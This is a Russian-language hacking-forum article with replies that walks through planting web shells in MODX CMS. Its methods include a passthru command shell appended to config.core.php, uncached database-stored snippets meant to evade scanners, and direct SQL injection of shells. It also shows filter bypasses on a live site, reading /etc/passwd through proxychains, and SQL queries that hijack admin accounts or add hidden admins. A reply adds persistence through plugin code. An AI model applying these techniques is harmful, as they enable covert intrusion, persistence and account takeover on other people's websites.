Статья Побеждаем MODX - льём шеллы со всех сторон

  • Автор темы Автор темы explorer
  • Дата начала Дата начала
Всем привет!

Сегодня я решил поделиться с вами своими личными исследованиями по внедрению шеллов в CMS MODX.

modx.png



Эта CMS не такая популярная и распространённая как Wordpress или Joomla. Просто она не такая дружелюбная к пользователю, и «любая домохозяйка» не сможет быстро разобраться как делать сайт, так как здесь свой специфичный подход, основанный на применении чанков. сниппетов и плагинов.

Тем не менее на мо́дэкс написано порядка 3-4% сайтов, что в итоге выливается в довольно приличное количество. Сама CMS больше защищена в сравнении с более популярными системами, и под неё практически нет никакой информации по взлому.

Всё что удалось найти в сети - это старое упоминание команды, которая сейчас не работает, так как всё уже изменилось. Попробуйте например набрать «modx залить шелл» или что-то похожее, и убедитесь сами.

Приступим – заходим на официальный сайт и скачиваем дистрибутив. Быстренько делаем базу и разворачиваем у себя на локалке, например, в каталоге modx. В админке нас встретит единственная главная страница с текстом-рыбой, который сразу удаляем, и пишем что-нибудь покороче, например, Bla-bla-bla.

mod.png


Допустим мы попали в админку на реальном сайте. Что в первую очередь проверяют? Как правило загрузку файлов. Здесь это не прокатит, по-умолчанию уже встроена защита от враждебных файлов.

mod2.png


Теперь попробуем по-другому, сначала загрузим txt, а потом переименуем. И опять поджидает неудача – переименовать файл тоже не даёт.

mod3.png


Тем не менее возможность заливки шелла есть. Рассмотрим несколько способов.

1 Способ – самый простой.

Отредактировать уже существующие php-файлы. Возьмём config.core.php во вкладке «Файлы», и добавим в конец простенький шелл. Всё успешно сохранилось.

mod4.png


Проверяем работоспособность, всё работает.

mod5.png


Точно такую же операцию можно сделать и вторым способом. Зайти медиа --> управление медиа --> редактировать config.core.php вставляем echo passthru($_POST['cmd']); --> сохраняем

mod6.png


Всё бы хорошо, но на реальном сайте эти изи-способы часто будут недоступны. Вы редактируете файл, потираете руки и… а где же кнопка сохранить? А нету )))

2 Способ – создание сниппета.

Можно как создать новый сниппет, так и отредактировать уже любой имеющийся. Во вкладке Элементы нажимает значок с плюсиком возле сниппета, появится окно, в котором мы напишем произвольное название сниппета, в теле его разместим шелл и сохраним.

mod7.png


После сохранения мы увидим новый сниппет в списке.

mod8.png


Сам по себе сниппет ничего не даёт – это заготовка с любым кодом, которую можно вставлять в любую страницу, что мы сейчас и сделаем. Чтобы вставить сниппет в страницу, используется команда с двойными квадратными скобками, в которые заключается название сниппета [[hello]].

Но для наших целей это не подходящий вариант, так как модэкс всё и вся кэширует, а значит команда сработает всего 1 раз. Чтобы принудительно отключить кэширование, нужно добавить в начало восклицательный знак [[!hello]].

Заходим в ресурсы, вставляем в главную страницу наш код и сохраняем.

mod9.png


Проверяем, и убеждаемся что всё сработало.

mod10.png


Вот и чудненько! Способ работает всегда, однако есть и минус – новый сниппет будет виден в админке. Правда есть довольно много сайтов, которые весьма редко обновляются, но тут уж как повезёт. Поэтому заполучив шелл, нужно подстраховаться и залить уже другие шеллы на сервер в директории доступные для записи.

Есть и преимущество у данного вида шелла через сниппет – он не существует в виде файла, поэтому на сервере его просто нет. Поэтому никакие сканеры/антивирусы его обнаружить не могут. А куда же он девается? Так в базу же ) Сниппеты хранятся в базе, а значит у нас есть ещё один способ получить шелл.

3 Способ – заливаемся через базу.

Прекрасный способ залить шелл, если нету доступа к админке, но есть доступ к базе. Доступ к базе может быть получен разными путями – захват SSH, PhpMyAdmin, найденный чужой шелл и т.д. К слову говоря, модэкс создаёт хэш паролей по собственному алгоритму, и в онлайн-сервисах значения таких хэшей подобрать не получится.

Этот способ возможен не всегда. Если у юзера базы права будут только на SELECT, то запись будет невозможна.

Здесь совсем не так просто, нужно хорошо знать и конкретный столбец, и с какими параметрами это всё лить. Но у меня уже всё исследовано, поэтому отсыплю вам привата )

Кстати заливка в базу просто прекрасно пройдёт, в то время как даже с правами root базы в большинстве случаев не получится записать файл напрямую на сервер.

Последовательность будет точно такая же – сначала нужно создать сниппет. Отправляем команду:

mod11.png


Обратите внимание – если мы набирает имя сниппета которое уже существует, то получим ошибку, так как сниппет не перезапишется. Ну что же, сниппет успешно создан, теперь его нужно внедрить в страницу. Пишем новую команду и отправляем:

mod12.png


Просто отлично – всё фурычит, создалась новая страничка Шляпа с id 20, соответственно id нужно указывать такой, какого нет на сайте. В противном случае, словите ошибку.

Но ведь создать новую страницу довольно палевно, разумнее добавить сниппет в уже существующую. И этот вопрос довольно просто решается через обновление данных в базе. Обновляем контент.. вуаля! В главной уже наш сниппет [[!hello2]].

mod14.png


После тренировки на локалке, проворачиваем те же самые манипуляции на боевом сайте, и посмотрим как пойдёт. На реальном сайте отработала защита, и первый запрос получил по рогам ))) Ну не беда, обойдём фильтр, используя обратный слэш.

А вот с таким запросом всё гут!

mod15.png


Соответственно следующим запросом наш сниппет page3 внедряем с нужную страницу. Немного привата я оставлю за кадром – как залить шелл в любую конкретную страницу, а также как массово лить сразу во много страниц. Для пытливых умов, которые без проблем орудуют с запросами MySQL, уже разобраться не составит никакого труда по практически готовой схеме.

Заливаться нужно в ту страницу, в которую много лет может никто не залазить. Ну вы знаете такие страницы, которые не обновляют даже на больших бордах, типа “О нас”, “Кто мы?” и т.п. Проверяю работоспособность, отправляю запрос proxychains4 curl -d "a=cat /etc/passwd" -X POST

И в теле HTML обнаруживаем нужный ответ с сервера:

mod16.png


Ну что же друзья, вот вы и получили единственное в сети руководство по внедрению шеллов в MODX.

На этом всё, всем пока!
 
Добавлю ещё пару фишек.
Если у нас есть доступ к БД, то мы можем получить и доступ к админке.

Вариант 1 - заменить пароль админа )
Посмотрим как разузнать всю информацию. Для начала отправим запрос в базу:
select column_name from information_schema.columns where table_name='modx_users';

mod.png


Здесь мы видим, что "правильные" поля имеют названия username и password. Ещё присутствует поле hash_class. Давайте-ка сюда и заглянем, отправив следующий запрос:
select CONCAT_WS(0x3a,username,password,hash_class) from modx_users;

mod-nat.png


Ага, используется свой вариант хэширования по-умолчанию. Нам это не подойдёт, поэтому будем применять MD5. Отправляем следующий запрос в базу, в котором укажем нужный формат хэша и имя админа:
UPDATE modx_users SET hash_class = 'hashing.modMD5', password = MD5('mainpass') WHERE username = 'admin2';

Заглянем снова в базу, select CONCAT_WS(0x3a,username,password) from modx_users;

mod5.png


Видим, что наш пароль mainpass записался в формате MD5, заменив предыдущее значение.

Теперь проверим, всё ли прошло как надо, логинимся.

mod2.png


Всё чётко! )

mod3.png


Вариант 2 - заменить емайл админа )

По-умолчанию id админа это 1. Заглянем в базу select email from modx_user_attributes WHERE id=1;

mod8.png


Ну и теперь заменим его на наш ) UPDATE modx_user_attributes SET email='blabla@mail.ru' WHERE id=1;

mod9.png


Всё, теперь на странице авторизации нужно выполнить стандартные действия по восстановлению и всё придёт на наш почтовый ящик )

mod12.png


Hacked!
 
Предыдущие 2 варианта захвата админки совсем неэтичные, поэтому нужно пользоваться самым правильным способом.

Вариант 3 - создать нового пользователя )

Здесь всё немного сложнее, но оно того стоит. Новый пользователь не испортит доступ в админку, и к тому же не так палевно, как если бы админ не смог попасть в админпанель.

Сначала мы отправим запрос на добавления пользователя dodik7, при этом пароль нужно писать сразу в хэшированном виде, здесь он 12345.

mod17-1.png


Но на этом наши действия не заканчиваются, аккаунт создан, но он ещё нерабочий. Далее нужно выяснить последний номер internalKey.
Отправим запрос select internalKey from modx_user_attributes;

mod15.png


Мы видим, что последний номер 14, соответственно нам нужно установить в запросе номер 15. Отправим следующий запрос

mod17.png


Теперь нужно сразу же проверить, появился ли наш номер 15

mod16.png


Всё отлично, теперь можно смело заходить в админку с логином dodik7 и паролем 12345 )
 
Да уж. Пост на двоечку. Комментарии из серии - что бы еще сделать бесполезного, что бы потратить время в пустую.
Ребят, без обид и ничего личного, но если у вас есть доступ к базе, то вам уже не нужен доступ в админку. Просто не к чему.
MODX хранит все в базе (HTML, PHP, JS). Так же у MODX на каждый чих есть событие. На события вешаются плагины. Выбираем нужное событие из находим в таблице modx_site_plugin_events ID плагина, идем втаблицу modx_site_plugins, находим нужный плагин и в поле plugincode дописываем то что нужно.
Единственный минус данного метода в том, что компонент к которому относится плагин могут обновить и тогда ваши правки затрутся, но и это можно решить через базу. В таблице modx_transport_packages в поле provider поставить 0. Тогда система не будет предлагать обновлять компонент.
И кстати через админку, в системных настройках вы можете указать какие файлы можно загружать.
 
  • Нравится
Реакции: FXLL и a1ext
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!